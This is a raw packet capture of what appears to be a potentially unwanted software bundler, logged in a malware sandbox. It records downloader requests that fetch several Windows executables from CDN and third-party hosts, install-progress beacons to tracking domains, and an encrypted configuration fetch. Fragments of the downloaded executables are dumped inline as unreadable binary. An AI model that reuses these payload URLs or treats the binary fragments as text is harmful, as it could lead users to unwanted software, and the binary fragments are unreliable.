...p...........................rsrc...8...........................@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....cB..H.P.u..u..u...T.@..B...SV.5.cB..E.WP.u...X.@..e...E..E.P.u...\.@..}..e....D.@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...H.@..E...E.P.E.P.u...`.@..u....E..9}...w....~X.te.v4..L.@....E.tU.}.j.W.E......E.......P.@..vXW..T.@..u..5X.@.W...E..E.h ...Pj.h.[B.W..d.@..u.W...u....E.P.u...h.@._^3.[.....L$..(cB...Si.....VW.T.....tO.q.3.;5,cB.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5,cB.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_DCOUNT1 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:11 GMT

Server: Apache/2.2.22 (Debian) mod_ssl/2.2.22 OpenSSL/1.0.1e mod_wsgi/3.3 Python/2.7.3 mod_perl/2.0.7 Perl/v5.14.2

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Wed, 23 Sep 15 14:46:00 GMT

Set-Cookie: _c4aid=BD011F6301644D63988D3DBE1A85A160; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=BD011F6301644D63988D3DBE1A85A160,1443019571.9003; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript

41.......if (window.rdp_callback).....rdp_callback(1203, 141783);......0..

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_COUNT1 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:11 GMT

Server: Apache/2.2.22 (Debian) mod_ssl/2.2.22 OpenSSL/1.0.1e mod_wsgi/3.3 Python/2.7.3 mod_perl/2.0.7 Perl/v5.14.2

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Wed, 23 Sep 15 14:46:00 GMT

Set-Cookie: _c4aid=872AEB8B748F4F8CA76688E733BB1F5D; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=872AEB8B748F4F8CA76688E733BB1F5D,1443019571.7951; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript

41.......if (window.rdp_callback).....rdp_callback(1203, 141783);......0..

GET /data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=4&rnd=4145 HTTP/1.1

Accept: */*

Host: logs.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:14 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1443019575.dop008.fr7.t,1443019574.cds054.fr7.c

GIF89a.............,...........D..;..

GET /cmmdWriter.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d2fpsq9kg43yka.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 40746

Connection: keep-alive

Date: Fri, 04 Sep 2015 14:41:56 GMT

Last-Modified: Fri, 04 Sep 2015 14:37:33 GMT

ETag: "ceea099a2589b086940ea7e1333a3ad9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 86234

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eiIsDtQTXPpytUGV9Gbeqb4MX9c_BgG2DUyHt7WfSoAQGpaBEOsjqg==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z...........0.......p....@..........................................................................s.......................................................................................p...............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...x............p..............@....ndata.......@...........................rsrc................t..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U.

<<< skipped >>>

GET /69/all/cp/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.staticclientstorage.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:40 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441951687"

Last-Modified: Fri, 11 Sep 2015 06:08:07 GMT

Cache-Control: max-age=3282

Content-Length: 1998408

Content-Type: application/x-msdownload

X-HW: 1443019541.dop007.fr7.t,1443019540.cds030.fr7.c

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..S............F.>.%...F.......F...Z.....e...............b.C...o.K.......r.......................:.......v.......?.....Rich............PE..L...&L.U............................./.......0....@..................................x....@................................. I...........A...........v..H............3..8...............................@............0...............................text...T........................... ..`.rdata..j*...0...,..................@..@.data....0...`.......F..............@....rsrc....A.......B...0..............@..@.reloc...............r..............@..B........................................................................................................................................................................................................................................................................................................................U...M.V3.;.tb.A.;.t[.p..q..q..q..P.;.t.....Q0..0....0.p..p..p .p8.p<.@......Hl.HP.HL....................3.^]........^]..........U...M.3.;.t..A.;.t.Q.P(.P,.P0.^...]........]....U...M.W..tt.y...tmSV.u...y.3..........C..0}......t....|....~.^[....._]....G4..t.9w$t.P.A(.I$P...M.....G4....Q._..w$.X...^[_]........_]..........U...E.S3.;........81.......}.8......V.u.;.u.^.C.[]....^.9^ u..F ` @..^(9^$u..F$. @..F(.N Wh....j.P.......;.u._^.....[]....U.R.~.V._4.........t..F(.N$WP......F....._^..[]........[].......

<<< skipped >>>

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"5515\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:35 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:35 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"5516\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:36 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:36 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}..

GET /installers/bi_downloader/1443013514595/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: sub.spirlymo.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 430304

Connection: keep-alive

Server: nginx

Date: Wed, 23 Sep 2015 13:05:53 GMT

Last-Modified: Wed, 23 Sep 2015 13:05:16 GMT

ETag: "5602a38c-690e0"

Expires: Wed, 23 Sep 2015 13:15:53 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 282

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Zi57OwMIu_iJVVu-vAuprdYELHZfgUpnayu0EIT5FlS8nde3cVK_Dg==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................0...............................................s..........pD..........`................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc...pD.......F...v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /download/dwn/prq4633/este/re/setup_gmsd_re.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.taxideataxus.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:49 GMT

Server: Apache/2.2.16

Last-Modified: Tue, 22 Sep 2015 13:40:51 GMT

ETag: "4da0223-586200-5205625711ec0"

Accept-Ranges: bytes

Content-Length: 5792256

Keep-Alive: timeout=15, max=200

Connection: Keep-Alive

Content-Type: application/x-msdos-program

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0........X..........@..............................P.......(............VX.............................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...(...........................@..P.............@......................@..P..................................................................................................................................................................string................<.@.....m.@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance..L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameIs...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsFrom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..FieldAddress...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObject.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.

<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_INSTALL_FIN HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:11 GMT

Server: Apache/2.2.22 (Debian) mod_ssl/2.2.22 OpenSSL/1.0.1e mod_wsgi/3.3 Python/2.7.3 mod_perl/2.0.7 Perl/v5.14.2

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Wed, 23 Sep 15 14:46:00 GMT

Set-Cookie: _c4aid=FD3E35598995474EA4634722A1BC5061; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=FD3E35598995474EA4634722A1BC5061,1443019571.3949; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript

41.......if (window.rdp_callback).....rdp_callback(1203, 141783);......0..

GET /cgi-bin/get_protect.cgi?checking=true&version=gmsd_us_233&forceGEO=US HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: prof.eorezo.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:02 GMT

Server: Apache/2.2.22

x-eorezo-crc32: -1

x-eorezo-crypted: 1

x-eorezo-length: 357

Set-Cookie: conftime=1443019562; expires=Mon, 17 Jan 16 08:32:00 GMT; domain=eorezo.com; path=/;

Set-Cookie: EoRezo=194.242.96.218.1443019562025888; path=/; expires=Fri, 23-Oct-15 14:46:02 GMT

Connection: close

Transfer-Encoding: chunked

Content-Type: text/plain

1ec..Xg8nssf/4H10OdRv/PBlQCyF9RkAzpy/PPG8paJnu rCw3mAaqFpX2 ZKEgbMMA2htCshaMIPoMPkSppoNIfvqD ZyWxTIl1LyUx8yWjlHHNhn1WF5uF0H6qLM uZMwkTiGldZX5iSj uCsroOrbj/qdFgfbU9hmNOF2lZWiRA4D1nmKWD56o30N03aMe cM TaH0Zt8tkkpVIrV86sjShA2ibI4frmimtvqttCmZq2iOlFsKeYNJxrj/jP12cx2lA7NiBrk4PKXXug7tpKb65atNqDRlvUKKAF9c9zPzn4F2eh8GAfVbPOtZhSf/o/50RLSfemcISdhtiO8gTINReeSoYdUAqhmbrscZPjwnJCjKfgrUbQCV1J0DBwv2J mQsGJZQH4xDticU8Aw3zUoh3vFhu1Wg3CUqlkPjaoTHwm7LcFgkhAy A9qiL9G3nGtxC4eGJD3HM29TeMBpi5wjFtJRirkgPWAr1gnD hmf0=..0..

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4958\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:37 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4959\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:37 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4960\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:37 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4961\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:37 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:37 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}..

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_INSTALL_F11 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:11 GMT

Server: Apache/2.2.22 (Debian) mod_ssl/2.2.22 OpenSSL/1.0.1e mod_wsgi/3.3 Python/2.7.3 mod_perl/2.0.7 Perl/v5.14.2

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Wed, 23 Sep 15 14:46:00 GMT

Set-Cookie: _c4aid=B33EA587DA534BAFB0C902ADE543C8E6; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=B33EA587DA534BAFB0C902ADE543C8E6,1443019571.29034; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript

41.......if (window.rdp_callback).....rdp_callback(1203, 141783);......0..

GET /utility.gif?report=fdata&f=4&c=003266&i=100&n=install_browser_start_async&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=2620 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: n/Kfkmjf32ZWdLZ4/MM4XUOtzQjxFpV7hGLDYZr7BM3MulNZGR8ampYMCsA3o8lz

x-amz-request-id: 4F9549DE2BE8E045

Date: Wed, 23 Sep 2015 14:45:46 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=250&n=install_browser_downloading&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=5571 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: qyx1E0uJv4asMv9hLFtDiRv4YkJjkDQIXnPMKoEoKj5eu09WZNHVFEBRN2OTrcO2

x-amz-request-id: 46E7733F233028AA

Date: Wed, 23 Sep 2015 14:45:46 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=270&n=install_browser_all_thread_created_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=8217 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: MZfRDBA/wVXj9LEy7MHX V1dRto5j0/4nwU2C7MMb aBqQhxPn1Nj6HEWoVXyCyS

x-amz-request-id: AF3701507DB1C8F3

Date: Wed, 23 Sep 2015 14:45:46 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: MZfRDBA/wVXj9LEy7MHX V1dRto5j0/4nwU2C7MMb aBqQhxPn1Nj6HEWoVXyCyS..x-amz-request-id: AF3701507DB1C8F3..Date: Wed, 23 Sep 2015 14:45:46 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=310&n=install_browser_all_thread_ended_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=9825 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: MTW0s9YHETThwIW844IRS4M7z1MHqCCfJ2glJguX74kgtc56zIv4xUowrNDJOL4Q

x-amz-request-id: 44183AB9FDCBDDA2

Date: Wed, 23 Sep 2015 14:45:54 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: MTW0s9YHETThwIW844IRS4M7z1MHqCCfJ2glJguX74kgtc56zIv4xUowrNDJOL4Q..x-amz-request-id: 44183AB9FDCBDDA2..Date: Wed, 23 Sep 2015 14:45:54 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=360&n=install_browser_all_files_in_place&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=183 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: IIRnWh7Dvqc/awZa01mott Om4COSxIF0Wqj UZsFB0tpIq 2Oec9HCSKWXft0zI

x-amz-request-id: C66D93E0AF8D390A

Date: Wed, 23 Sep 2015 14:45:57 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: IIRnWh7Dvqc/awZa01mott Om4COSxIF0Wqj UZsFB0tpIq 2Oec9HCSKWXft0zI..x-amz-request-id: C66D93E0AF8D390A..Date: Wed, 23 Sep 2015 14:45:57 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=410&n=install_browser_install_ch_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=4838 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: HKhWKlT 9r9rChlxurngvvrEVpGWlpgjLmQCbM5pd1fe5ESkFqx/6ooisKyVFnxC

x-amz-request-id: 9727C2131F78239F

Date: Wed, 23 Sep 2015 14:46:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: HKhWKlT 9r9rChlxurngvvrEVpGWlpgjLmQCbM5pd1fe5ESkFqx/6ooisKyVFnxC..x-amz-request-id: 9727C2131F78239F..Date: Wed, 23 Sep 2015 14:46:14 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=480&n=install_browser_end_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=726 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: 79p8mVJDPj hjccgd20HesYR0isDL75hdMpJ5XZ4NUM/y7DXEYEfSdMqO2ExWJxj

x-amz-request-id: E131DCC69CFCE49C

Date: Wed, 23 Sep 2015 14:46:15 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 79p8mVJDPj hjccgd20HesYR0isDL75hdMpJ5XZ4NUM/y7DXEYEfSdMqO2ExWJxj..x-amz-request-id: E131DCC69CFCE49C..Date: Wed, 23 Sep 2015 14:46:15 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /36e0f22eacad857de2cd3b76aedc24a7.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d16hr9n7t75k58.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 74681

Connection: keep-alive

Date: Wed, 23 Sep 2015 13:30:29 GMT

Last-Modified: Wed, 23 Sep 2015 13:25:00 GMT

ETag: "ff7d4d6986b438f0c3c8541171bd3abe"

Accept-Ranges: bytes

Server: AmazonS3

Age: 4515

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

